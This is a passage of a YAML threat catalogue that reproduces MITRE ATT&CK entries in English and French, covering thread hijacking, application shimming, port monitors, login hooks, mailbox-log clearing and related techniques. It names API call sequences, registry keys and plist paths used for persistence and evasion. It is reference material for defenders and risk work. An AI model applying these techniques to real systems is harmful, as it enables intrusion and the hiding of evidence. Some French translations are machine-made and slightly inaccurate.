          \ et d\u2019acc\xE8s \xE0 distance l\xE9gitime pour \xE9tablir un canal\
          \ de commande et de contr\xF4le interactif afin de cibler les syst\xE8mes\
          \ au sein des r\xE9seaux. Ces services, tels que \xAB VNC \xBB, \xAB Team\
          \ Viewer \xBB, \xAB AnyDesk \xBB, \xAB ScreenConnect \xBB, \xAB LogMein\
          \ \xBB, \xAB AmmyyAdmin \xBB et d\u2019autres outils de surveillance et\
          \ de gestion \xE0 distance (RMM), sont couramment utilis\xE9s en tant que\
          \ logiciels de support technique l\xE9gitimes et peuvent \xEAtre autoris\xE9\
          s par le contr\xF4le des applications dans un environnement cible. (Citation\
          \ : Symantec vivant de la terre)(Citation : Rapport sur les menaces mondiales\
          \ 2015 de CrowdStrike)(Citation : CrySyS Blog TeamSpy)\n\nUn logiciel d\u2019\
          acc\xE8s \xE0 distance peut \xEAtre install\xE9 et utilis\xE9 apr\xE8s la\
          \ compromission comme canal de communication alternatif pour un acc\xE8\
          s redondant ou comme moyen d\u2019\xE9tablir une session de bureau \xE0\
          \ distance interactive avec le syst\xE8me cible. Ils peuvent \xE9galement\
          \ \xEAtre utilis\xE9s comme composant d\u2019un logiciel malveillant pour\
          \ \xE9tablir une connexion inverse ou une r\xE9troconnexion \xE0 un service\
          \ ou \xE0 un syst\xE8me contr\xF4l\xE9 par l\u2019adversaire.\n \nDe la\
          \ m\xEAme mani\xE8re, les adversaires peuvent abuser des fonctionnalit\xE9\
          s de r\xE9ponse incluses dans l\u2019EDR et d\u2019autres outils d\xE9fensifs\
          \ qui permettent un acc\xE8s \xE0 distance.\n\nL\u2019installation de nombreux\
          \ logiciels d\u2019acc\xE8s \xE0 distance peut \xE9galement inclure la persistance\
          \ (par exemple, la routine d\u2019installation du logiciel cr\xE9e un [service\
          \ Windows](https://attack.mitre.org/techniques/T1543/003)). Des modules/fonctionnalit\xE9\
          s d\u2019acc\xE8s \xE0 distance peuvent \xE9galement exister dans le cadre\
          \ de logiciels existants (par exemple, le bureau \xE0 distance de Google\
          \ Chrome). (Citation : Bureau \xE0 distance Google Chrome)(Citation : Bureau\
          \ \xE0 distance Chrome)\nhttps://attack.mitre.org/techniques/T1219"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1583.001
    ref_id: T1583.001
    name: Domains
    description: "Adversaries may acquire domains that can be used during targeting.\
      \ Domain names are the human readable names used to represent one or more IP\
      \ addresses. They can be purchased or, in some cases, acquired for free.\n\n\
      Adversaries may use acquired domains for a variety of purposes, including for\
      \ [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189),\
      \ and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose\
      \ domains that are similar to legitimate domains, including through use of homoglyphs\
      \ or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation:\
      \ PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by\
      \ Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also\
      \ use internationalized domain names (IDNs) and different character sets (e.g.\
      \ Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually\
      \ similar lookalike domains used to deliver malware to victim machines.(Citation:\
      \ CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation:\
      \ httrack_unhcr)(Citation: lazgroup_idn_phishing)\n\nDifferent URIs/URLs may\
      \ also be dynamically generated to uniquely serve malicious content to victims\
      \ (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation:\
      \ URI)(Citation: URI Use)(Citation: URI Unique)\n\nAdversaries may also acquire\
      \ and repurpose expired domains, which may be potentially already allowlisted/trusted\
      \ by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation:\
      \ Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\n\
      \nDomain registrars each maintain a publicly viewable database that displays\
      \ contact information for every registered domain. Private WHOIS services display\
      \ alternative information, such as their own company data, rather than the owner\
      \ of the domain. Adversaries may use such private WHOIS services to obscure\
      \ information about who owns a purchased domain. Adversaries may further interrupt\
      \ efforts to track their infrastructure by using varied registration information\
      \ and purchasing domains with different domain registrars.(Citation: Mandiant\
      \ APT1)\n\nIn addition to legitimately purchasing a domain, an adversary may\
      \ register a new domain in a compromised environment. For example, in AWS environments,\
      \ adversaries may leverage the Route53 domain service to register a domain and\
      \ create hosted zones pointing to resources of the threat actor\u2019s choosing.(Citation:\
      \ Invictus IR DangerDev 2024)\nhttps://attack.mitre.org/techniques/T1583/001"
    translations:
      fr:
        name: Domaines
        description: "Les adversaires peuvent acqu\xE9rir des domaines qui peuvent\
          \ \xEAtre utilis\xE9s lors du ciblage. Les noms de domaine sont les noms\
          \ lisibles par l\u2019homme utilis\xE9s pour repr\xE9senter une ou plusieurs\
          \ adresses IP. Ils peuvent \xEAtre achet\xE9s ou, dans certains cas, acquis\
          \ gratuitement.\n\nLes adversaires peuvent utiliser les domaines acquis\
          \ \xE0 diverses fins, notamment pour le [phishing](https://attack.mitre.org/techniques/T1566),\
          \ la [compromission intempestive](https://attack.mitre.org/techniques/T1189)\
          \ et le contr\xF4le et la commande. (Citation : CISA MSS septembre 2020)\
          \ Les adversaires peuvent choisir des domaines similaires \xE0 des domaines\
          \ l\xE9gitimes, notamment en utilisant des homoglyphes ou en utilisant un\
          \ domaine de premier niveau (TLD) diff\xE9rent. (R\xE9f\xE9rence : FireEye\
          \ APT28)(Citation\_: PaypalScam) Le typosquatting peut \xEAtre utilis\xE9\
          \ pour faciliter la livraison de charges utiles via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).\
          \ Les adversaires peuvent \xE9galement utiliser des noms de domaine internationalis\xE9\
          s (IDN) et des jeux de caract\xE8res diff\xE9rents (par exemple, cyrillique,\
          \ grec, etc.) pour ex\xE9cuter des \xAB attaques homographes IDN \xBB, cr\xE9\
          ant ainsi des domaines visuellement similaires utilis\xE9s pour diffuser\
          \ des logiciels malveillants aux machines victimes. (R\xE9f\xE9rence : CISA\
          \ IDN ST05-016)(R\xE9f\xE9rence : tt_httrack_fake_domains)(R\xE9f\xE9rence\
          \ : tt_obliqueRAT)(R\xE9f\xE9rence : httrack_unhcr)(R\xE9f\xE9rence : lazgroup_idn_phishing)\n\
          \nDiff\xE9rentes URI/URL peuvent \xE9galement \xEAtre g\xE9n\xE9r\xE9es\
          \ dynamiquement pour diffuser de mani\xE8re unique du contenu malveillant\
          \ aux victimes (y compris des noms de domaine \xE0 usage unique et uniques).\
          \ (Citation : Sch\xE9ma d\u2019URL iOS)(Citation : URI)(citation : utilisation\
          \ de l\u2019URI)(citation : URI unique)\n\nLes adversaires peuvent \xE9\
          galement acqu\xE9rir et r\xE9affecter des domaines expir\xE9s, qui peuvent\
          \ \xEAtre d\xE9j\xE0 autoris\xE9s ou approuv\xE9s par les d\xE9fenseurs\
          \ sur la base d\u2019une r\xE9putation ou d\u2019un historique existant.\
          \ (R\xE9f\xE9rence : Categorisation_not_boundary)(R\xE9f\xE9rence : Domain_Steal_CC)(R\xE9\
          f\xE9rence : Redirectors_Domain_Fronting)(R\xE9f\xE9rence : bypass_webproxy_filtering)\n\
          \nLes bureaux d\u2019enregistrement de domaines g\xE8rent chacun une base\
          \ de donn\xE9es accessible au public qui affiche les informations de contact\
          \ de chaque domaine enregistr\xE9. Les services WHOIS priv\xE9s affichent\
          \ des informations alternatives, telles que leurs propres donn\xE9es d\u2019\
          entreprise, plut\xF4t que le propri\xE9taire du domaine. Les adversaires\
          \ peuvent utiliser ces services WHOIS priv\xE9s pour masquer des informations\
          \ sur le propri\xE9taire d\u2019un domaine achet\xE9. Les adversaires peuvent\
          \ interrompre les efforts de suivi de leur infrastructure en utilisant des\
          \ informations d\u2019enregistrement vari\xE9es et en achetant des domaines\
          \ aupr\xE8s de diff\xE9rents bureaux d\u2019enregistrement de domaines.\
          \ (R\xE9f\xE9rence : Mandiant APT1)\n\nEn plus d\u2019acheter l\xE9gitimement\
          \ un domaine, un adversaire peut enregistrer un nouveau domaine dans un\
          \ environnement compromis. Par exemple, dans les environnements AWS, les\
          \ adversaires peuvent tirer parti du service de domaine Route53 pour enregistrer\
          \ un domaine et cr\xE9er des zones h\xE9berg\xE9es pointant vers des ressources\
          \ choisies par l\u2019acteur malveillant. (Citation : Invictus IR DangerDev\
          \ 2024)\nhttps://attack.mitre.org/techniques/T1583/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1560.002
    ref_id: T1560.002
    name: Archive via Library
    description: 'An adversary may compress or encrypt data that is collected prior
      to exfiltration using 3rd party libraries. Many libraries exist that can archive
      data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile
      (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github).
      Most libraries include functionality to encrypt and/or compress data.


      Some archival libraries are preinstalled on systems, such as bzip2 on macOS
      and Linux, and zip on Windows. Note that the libraries are different from the
      utilities. The libraries can be linked against when compiling, while the utilities
      require spawning a subshell, or a similar execution mechanism.

      https://attack.mitre.org/techniques/T1560/002'
    translations:
      fr:
        name: "Archive via la biblioth\xE8que"
        description: "Un adversaire peut compresser ou chiffrer les donn\xE9es collect\xE9\
          es avant l\u2019exfiltration \xE0 l\u2019aide de biblioth\xE8ques tierces.\
          \ Il existe de nombreuses biblioth\xE8ques qui peuvent archiver des donn\xE9\
          es, notamment [Python](https://attack.mitre.org/techniques/T1059/006) rarfile\
          \ (Citation\_: PyPI RAR), libzip (Citation\_: libzip) et zlib (Citation\_\
          : Zlib Github). La plupart des biblioth\xE8ques incluent des fonctionnalit\xE9\
          s permettant de chiffrer et/ou de compresser des donn\xE9es.\n\nCertaines\
          \ biblioth\xE8ques d\u2019archives sont pr\xE9install\xE9es sur les syst\xE8\
          mes, telles que bzip2 sur macOS et Linux, et zip sur Windows. Notez que\
          \ les biblioth\xE8ques sont diff\xE9rentes des utilitaires. Les biblioth\xE8\
          ques peuvent \xEAtre li\xE9es lors de la compilation, tandis que les utilitaires\
          \ n\xE9cessitent la cr\xE9ation d\u2019un sous-shell ou d\u2019un m\xE9\
          canisme d\u2019ex\xE9cution similaire.\nhttps://attack.mitre.org/techniques/T1560/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.003
    ref_id: T1055.003
    name: Thread Execution Hijacking
    description: "Adversaries may inject malicious code into hijacked processes in\
      \ order to evade process-based defenses as well as possibly elevate privileges.\
      \ Thread Execution Hijacking is a method of executing arbitrary code in the\
      \ address space of a separate live process. \n\nThread Execution Hijacking is\
      \ commonly performed by suspending an existing process then unmapping/hollowing\
      \ its memory, which can then be replaced with malicious code or the path to\
      \ a DLL. A handle to an existing victim process is first created with native\
      \ Windows API calls such as <code>OpenThread</code>. At this point the process\
      \ can be suspended then written to, realigned to the injected code, and resumed\
      \ via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>,\
      \ <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation:\
      \ Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012)\
      \ but targets an existing process rather than creating a process in a suspended\
      \ state.  \n\nRunning code in the context of another process may allow access\
      \ to the process's memory, system/network resources, and possibly elevated privileges.\
      \ Execution via Thread Execution Hijacking may also evade detection from security\
      \ products since the execution is masked under a legitimate process.\nhttps://attack.mitre.org/techniques/T1055/003"
    translations:
      fr:
        name: "D\xE9tournement d\u2019ex\xE9cution de thread"
        description: "Les adversaires peuvent injecter du code malveillant dans les\
          \ processus pirat\xE9s afin d\u2019\xE9chapper aux d\xE9fenses bas\xE9es\
          \ sur les processus et \xE9ventuellement d\u2019\xE9lever les privil\xE8\
          ges. Le d\xE9tournement d\u2019ex\xE9cution de thread est une m\xE9thode\
          \ d\u2019ex\xE9cution de code arbitraire dans l\u2019espace d\u2019adressage\
          \ d\u2019un processus en direct distinct. \n\nLe d\xE9tournement de threads\
          \ est g\xE9n\xE9ralement effectu\xE9 en suspendant un processus existant,\
          \ puis en d\xE9mappant/vidant sa m\xE9moire, qui peut ensuite \xEAtre remplac\xE9\
          e par un code malveillant ou le chemin d\u2019acc\xE8s \xE0 une DLL. Un\
          \ handle vers un processus victime existant est d\u2019abord cr\xE9\xE9\
          \ \xE0 l\u2019aide d\u2019appels d\u2019API Windows natifs tels <code>qu\u2019\
          OpenThread</code>. \xC0 ce stade, le processus peut \xEAtre suspendu, puis\
          \ \xE9crit, r\xE9align\xE9 sur le code inject\xE9 et repris via <code>SuspendThread</code>,\
          \ <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>,\
          \ puis <code>ResumeThread</code> respectivement. (Citation : Injection de\
          \ processus \xE9lastique juillet 2017)\n\nCeci est tr\xE8s similaire \xE0\
          \ [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), mais\
          \ cible un processus existant plut\xF4t que de cr\xE9er un processus dans\
          \ un \xE9tat suspendu.  \n\nL\u2019ex\xE9cution de code dans le contexte\
          \ d\u2019un autre processus peut permettre d\u2019acc\xE9der \xE0 la m\xE9\
          moire du processus, aux ressources syst\xE8me/r\xE9seau et \xE9ventuellement\
          \ \xE0 des privil\xE8ges \xE9lev\xE9s. Le d\xE9tournement d\u2019ex\xE9\
          cution peut \xE9galement \xE9chapper \xE0 la d\xE9tection des produits de\
          \ s\xE9curit\xE9, car l\u2019ex\xE9cution est masqu\xE9e par un processus\
          \ l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1055/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036
    ref_id: T1036
    name: Masquerading
    description: 'Adversaries may attempt to manipulate features of their artifacts
      to make them appear legitimate or benign to users and/or security tools. Masquerading
      occurs when the name or location of an object, legitimate or malicious, is manipulated
      or abused for the sake of evading defenses and observation. This may include
      manipulating file metadata, tricking users into misidentifying the file type,
      and giving legitimate task or service names.


      Renaming abusable system utilities to evade security monitoring is also a form
      of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS
      Main Site)

      https://attack.mitre.org/techniques/T1036'
    translations:
      fr:
        name: Masquerading
        description: "Les adversaires peuvent tenter de manipuler les caract\xE9ristiques\
          \ de leurs artefacts pour les faire para\xEEtre l\xE9gitimes ou b\xE9nins\
          \ aux utilisateurs et/ou aux outils de s\xE9curit\xE9. Le masquage se produit\
          \ lorsque le nom ou l\u2019emplacement d\u2019un objet, l\xE9gitime ou malveillant,\
          \ est manipul\xE9 ou abus\xE9 dans le but d\u2019\xE9chapper aux d\xE9fenses\
          \ et \xE0 l\u2019observation. Il peut s\u2019agir de manipuler les m\xE9\
          tadonn\xE9es des fichiers, d\u2019inciter les utilisateurs \xE0 mal identifier\
          \ le type de fichier et de donner des noms de t\xE2ches ou de services l\xE9\
          gitimes.\n\nRenommer des utilitaires syst\xE8me abusifs pour \xE9chapper\
          \ \xE0 la surveillance de s\xE9curit\xE9 est \xE9galement une forme de [Masquerading](https://attack.mitre.org/techniques/T1036).\
          \ (Citation : Site principal de LOLBAS)\nhttps://attack.mitre.org/techniques/T1036"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.011
    ref_id: T1546.011
    name: Application Shimming
    description: "Adversaries may establish persistence and/or elevate privileges\
      \ by executing malicious content triggered by application shims. The Microsoft\
      \ Windows Application Compatibility Infrastructure/Framework (Application Shim)\
      \ was created to allow for backward compatibility of software as the operating\
      \ system codebase changes over time. For example, the application shimming feature\
      \ allows developers to apply fixes to applications (without rewriting code)\
      \ that were created for Windows XP so that it will work with Windows 10. (Citation:\
      \ Elastic Process Injection July 2017)\n\nWithin the framework, shims are created\
      \ to act as a buffer between the program (or more specifically, the Import Address\
      \ Table) and the Windows OS. When a program is executed, the shim cache is referenced\
      \ to determine if the program requires the use of the shim database (.sdb).\
      \ If so, the shim database uses hooking to redirect the code as necessary in\
      \ order to communicate with the OS. \n\nA list of all shims currently installed\
      \ by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\\
      AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows\
      \ nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases\
      \ are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\\
      AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\\
      currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows\
      \ designed them to run in user mode so they cannot modify the kernel and you\
      \ must have administrator privileges to install a shim. However, certain shims\
      \ can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)\
      \ (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data\
      \ Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH),\
      \ and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims\
      \ may allow an adversary to perform several malicious acts such as elevate privileges,\
      \ install backdoors, disable defenses like Windows Defender, etc. (Citation:\
      \ FireEye Application Shimming) Shims can also be abused to establish persistence\
      \ by continuously being invoked by affected programs.\nhttps://attack.mitre.org/techniques/T1546/011"
    translations:
      fr:
        name: 'Application : Flottage'
        description: "Les adversaires peuvent \xE9tablir une persistance et/ou \xE9\
          lever des privil\xE8ges en ex\xE9cutant du contenu malveillant d\xE9clench\xE9\
          \ par des shims d\u2019application. L\u2019infrastructure/cadre de compatibilit\xE9\
          \ des applications Microsoft Windows (Application Shim) a \xE9t\xE9 cr\xE9\
          \xE9 pour permettre la r\xE9trocompatibilit\xE9 des logiciels \xE0 mesure\
          \ que la base de code du syst\xE8me d\u2019exploitation change au fil du\
          \ temps. Par exemple, la fonctionnalit\xE9 de shimming d\u2019application\
          \ permet aux d\xE9veloppeurs d\u2019appliquer des correctifs aux applications\
          \ (sans r\xE9\xE9crire le code) qui ont \xE9t\xE9 cr\xE9\xE9es pour Windows\
          \ XP afin qu\u2019elles fonctionnent avec Windows 10. (Citation : Injection\
          \ de processus \xE9lastique juillet 2017)\n\nDans le cadre, les shims sont\
          \ cr\xE9\xE9s pour agir comme un tampon entre le programme (ou plus pr\xE9\
          cis\xE9ment, la table d\u2019adresses d\u2019importation) et le syst\xE8\
          me d\u2019exploitation Windows. Lorsqu\u2019un programme est ex\xE9cut\xE9\
          , le cache shim est r\xE9f\xE9renc\xE9 pour d\xE9terminer si le programme\
          \ n\xE9cessite l\u2019utilisation de la base de donn\xE9es shim (.sdb).\
          \ Si c\u2019est le cas, la base de donn\xE9es shim utilise l\u2019accrochage\
          \ pour rediriger le code si n\xE9cessaire afin de communiquer avec le syst\xE8\
          me d\u2019exploitation. \n\nUne liste de tous les shims actuellement install\xE9\
          s par l\u2019installateur Windows par d\xE9faut (sdbinst.exe) est conserv\xE9\
          e dans :\n\n* <code>%WINDIR\_%\\AppPatch\\sysmain.sdb</code> et\n* <code>hklm\\\
          software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\
          \nLes bases de donn\xE9es personnalis\xE9es sont stock\xE9es dans :\n\n\
          * <code>%WINDIR\_%\\AppPatch\\custom & %WINDIR\_%\\AppPatch\\AppPatch64\\\
          Custom</code> et\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\\
          appcompatflags\\custom</code>\n\nPour assurer la s\xE9curit\xE9 des shim,\
          \ Windows les a con\xE7us pour qu\u2019ils s\u2019ex\xE9cutent en mode utilisateur\
          \ afin qu\u2019ils ne puissent pas modifier le noyau et que vous disposiez\
          \ de privil\xE8ges d\u2019administrateur pour installer un shim. Toutefois,\
          \ certains shims peuvent \xEAtre utilis\xE9s pour [Contourner le contr\xF4\
          le de compte d\u2019utilisateur](https://attack.mitre.org/techniques/T1548/002)\
          \ (UAC et RedirectEXE), injecter des DLL dans les processus (InjectDLL),\
          \ d\xE9sactiver la pr\xE9vention de l\u2019ex\xE9cution des donn\xE9es (DisableNX)\
          \ et la gestion des exceptions de structure (DisableSEH) et intercepter\
          \ les adresses de m\xE9moire (GetProcAddress).\n\nL\u2019utilisation de\
          \ ces shims peut permettre \xE0 un adversaire d\u2019effectuer plusieurs\
          \ actes malveillants tels que l\u2019\xE9l\xE9vation des privil\xE8ges,\
          \ l\u2019installation de portes d\xE9rob\xE9es, la d\xE9sactivation de d\xE9\
          fenses telles que Windows Defender, etc. Les shims peuvent \xE9galement\
          \ \xEAtre utilis\xE9s de mani\xE8re abusive pour \xE9tablir la persistance\
          \ en \xE9tant continuellement invoqu\xE9s par les programmes affect\xE9\
          s.\nhttps://attack.mitre.org/techniques/T1546/011"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1552
    ref_id: T1552
    name: Unsecured Credentials
    description: 'Adversaries may search compromised systems to find and obtain insecurely
      stored credentials. These credentials can be stored and/or misplaced in many
      locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)),
      operating system or application-specific repositories (e.g. [Credentials in
      Registry](https://attack.mitre.org/techniques/T1552/002)),  or other specialized
      files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation:
      Brining MimiKatz to Unix)

      https://attack.mitre.org/techniques/T1552'
    translations:
      fr:
        name: "Identifiants non s\xE9curis\xE9s"
        description: "Les adversaires peuvent fouiller des syst\xE8mes compromis pour\
          \ trouver et obtenir des informations d\u2019identification stock\xE9es\
          \ de mani\xE8re non s\xE9curis\xE9e. Ces informations d\u2019identification\
          \ peuvent \xEAtre stock\xE9es et/ou \xE9gar\xE9es \xE0 de nombreux endroits\
          \ d\u2019un syst\xE8me, y compris des fichiers en texte brut (par exemple,\
          \ [Bash History](https://attack.mitre.org/techniques/T1552/003)), des r\xE9\
          f\xE9rentiels sp\xE9cifiques au syst\xE8me d\u2019exploitation ou \xE0 une\
          \ application (par exemple, [Informations d\u2019identification dans le\
          \ registre](https://attack.mitre.org/techniques/T1552/002)), ou d\u2019\
          autres fichiers/artefacts sp\xE9cialis\xE9s (par exemple, [Cl\xE9s priv\xE9\
          es](https://attack.mitre.org/techniques/T1552/004)). (Citation : Brining\
          \ MimiKatz \xE0 Unix)\nhttps://attack.mitre.org/techniques/T1552"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.010
    ref_id: T1547.010
    name: Port Monitors
    description: "Adversaries may use port monitors to run an adversary supplied DLL\
      \ during system boot for persistence or privilege escalation. A port monitor\
      \ can be set through the <code>AddMonitor</code> API call to set a DLL to be\
      \ loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\\\
      Windows\\System32</code> and will be loaded and run by the print spooler service,\
      \ `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham)\
      \ \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing\
      \ a fully-qualified pathname for that DLL to the `Driver` value of an existing\
      \ or new arbitrarily named subkey of <code>HKLM\\SYSTEM\\CurrentControlSet\\\
      Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n\
      \n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\nhttps://attack.mitre.org/techniques/T1547/010"
    translations:
      fr:
        name: Moniteurs de port
        description: "Les adversaires peuvent utiliser des moniteurs de port pour\
          \ ex\xE9cuter une DLL fournie par l\u2019adversaire lors du d\xE9marrage\
          \ du syst\xE8me \xE0 des fins de persistance ou d\u2019\xE9l\xE9vation de\
          \ privil\xE8ges. Un moniteur de port peut \xEAtre configur\xE9 via l\u2019\
          appel d\u2019API <code>AddMonitor</code> pour d\xE9finir une DLL \xE0 charger\
          \ au d\xE9marrage. (Citation : AddMonitor) Cette DLL peut se trouver dans\
          \ <code>C\_:\\Windows\\System32</code> et sera charg\xE9e et ex\xE9cut\xE9\
          e par le service de spouleur d\u2019impression, 'spoolsv.exe', sous les\
          \ permissions de niveau SYST\xC8ME au d\xE9marrage. (R\xE9f\xE9rence : Bloxham)\
          \ \n\nUne DLL arbitraire peut \xE9galement \xEAtre charg\xE9e si les autorisations\
          \ permettent d\u2019\xE9crire un chemin d\u2019acc\xE8s complet pour cette\
          \ DLL dans la valeur \xAB Driver \xBB d\u2019une sous-cl\xE9 existante ou\
          \ nouvelle nomm\xE9e arbitrairement de <code>HKLM\\SYSTEM\\CurrentControlSet\\\
          Control\\Print\\Monitors</code>. La cl\xE9 de registre contient les entr\xE9\
          es suivantes :\n\n* Port local\n* Port TCP/IP standard\n* Moniteur USB\n\
          * Port WSD\nhttps://attack.mitre.org/techniques/T1547/010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070.008
    ref_id: T1070.008
    name: Clear Mailbox Data
    description: "Adversaries may modify mail and mail application data to remove\
      \ evidence of their activity. Email applications allow users and other programs\
      \ to export and delete mailbox data via command line tools or use of APIs. Mail\
      \ application data can be emails, email metadata, or logs generated by the application\
      \ or operating system, such as export requests. \n\nAdversaries may manipulate\
      \ emails and mailbox data to remove logs, artifacts, and metadata, such as evidence\
      \ of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534),\
      \ [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003)\
      \ for command and control, or email-based exfiltration such as [Exfiltration\
      \ Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For\
      \ example, to remove evidence on Exchange servers adversaries have used the\
      \ <code>ExchangePowerShell</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ module, including <code>Remove-MailboxExportRequest</code> to remove evidence\
      \ of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell\
      \ Module) On Linux and macOS, adversaries may also delete emails through a command\
      \ line utility called <code>mail</code>  or use [AppleScript](https://attack.mitre.org/techniques/T1059/002)\
      \ to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation:\
      \ mailx man page)\n\nAdversaries may also remove emails and metadata/headers\
      \ indicative of spam or suspicious activity (for example, through the use of\
      \ organization-wide transport rules) to reduce the likelihood of malicious emails\
      \ being detected by security products.(Citation: Microsoft OAuth Spam 2022)\n\
      https://attack.mitre.org/techniques/T1070/008"
    translations:
      fr:
        name: "Effacer les donn\xE9es de la bo\xEEte aux lettres"
        description: "Les adversaires peuvent modifier le courrier et les donn\xE9\
          es de l\u2019application de courrier pour supprimer les preuves de leur\
          \ activit\xE9. Les applications de messagerie permettent aux utilisateurs\
          \ et \xE0 d\u2019autres programmes d\u2019exporter et de supprimer des donn\xE9\
          es de bo\xEEte aux lettres via des outils de ligne de commande ou \xE0 l\u2019\
          aide d\u2019API. Les donn\xE9es de l\u2019application de messagerie peuvent\
          \ \xEAtre des e-mails, des m\xE9tadonn\xE9es d\u2019e-mail ou des journaux\
          \ g\xE9n\xE9r\xE9s par l\u2019application ou le syst\xE8me d\u2019exploitation,\
          \ tels que des demandes d\u2019exportation. \n\nLes adversaires peuvent\
          \ manipuler les e-mails et les donn\xE9es de la bo\xEEte aux lettres pour\
          \ supprimer les journaux, les artefacts et les m\xE9tadonn\xE9es, tels que\
          \ les preuves d'[hame\xE7onnage](https://attack.mitre.org/techniques/T1566)/[spearphishing\
          \ interne](https://attack.mitre.org/techniques/T1534), [Collecte d\u2019\
          e-mails](https://attack.mitre.org/techniques/T1114), [Protocoles de messagerie](https://attack.mitre.org/techniques/T1071/003)\
          \ pour la commande et le contr\xF4le, ou l\u2019exfiltration bas\xE9e sur\
          \ des e-mails tels que [Exfiltration sur une alternative Protocole](https://attack.mitre.org/techniques/T1048).\
          \ Par exemple, pour supprimer des preuves sur les serveurs Exchange, les\
          \ adversaires ont utilis\xE9 le module <code>ExchangePowerShell</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001),\
          \ y compris <code>Remove-MailboxExportRequest</code> pour supprimer les\
          \ preuves d\u2019exportations de bo\xEEtes aux lettres. (Citation : Volexity\
          \ SolarWinds)(Citation : Module ExchangePowerShell) Sous Linux et macOS,\
          \ les adversaires peuvent \xE9galement supprimer des e-mails via un utilitaire\
          \ de ligne de commande appel\xE9 <code>mail</code> ou utiliser [AppleScript](https://attack.mitre.org/techniques/T1059/002)\
          \ pour interagir avec les API sur macOS. (Citation : Cybereason Cobalt Kitty\
          \ 2017)(Citation : page de manuel mailx)\n\nLes adversaires peuvent \xE9\
          galement supprimer les e-mails et les m\xE9tadonn\xE9es/en-t\xEAtes indiquant\
          \ un spam ou une activit\xE9 suspecte (par exemple, en utilisant des r\xE8\
          gles de transport \xE0 l\u2019\xE9chelle de l\u2019organisation) afin de\
          \ r\xE9duire la probabilit\xE9 que les e-mails malveillants soient d\xE9\
          tect\xE9s par les produits de s\xE9curit\xE9. (Citation : Microsoft OAuth\
          \ Spam 2022)\nhttps://attack.mitre.org/techniques/T1070/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1037.002
    ref_id: T1037.002
    name: Login Hook
    description: "Adversaries may use a Login Hook to establish persistence executed\
      \ upon user logon. A login hook is a plist file that points to a specific script\
      \ to execute with root privileges upon user logon. The plist file is located\
      \ in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file\
      \ and can be modified using the <code>defaults</code> command-line utility.\
      \ This behavior is the same for logout hooks where a script can be executed\
      \ upon user logout. All hooks require administrator permissions to modify or\
      \ create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts\
      \ Apple Dev) \n\nAdversaries can add or insert a path to a malicious script\
      \ in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code>\
      \ or <code>LogoutHook</code> key-value pair. The malicious script is executed\
      \ upon the next user login. If a login hook already exists, adversaries can\
      \ add additional commands to an existing login hook. There can be only one login\
      \ and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation:\
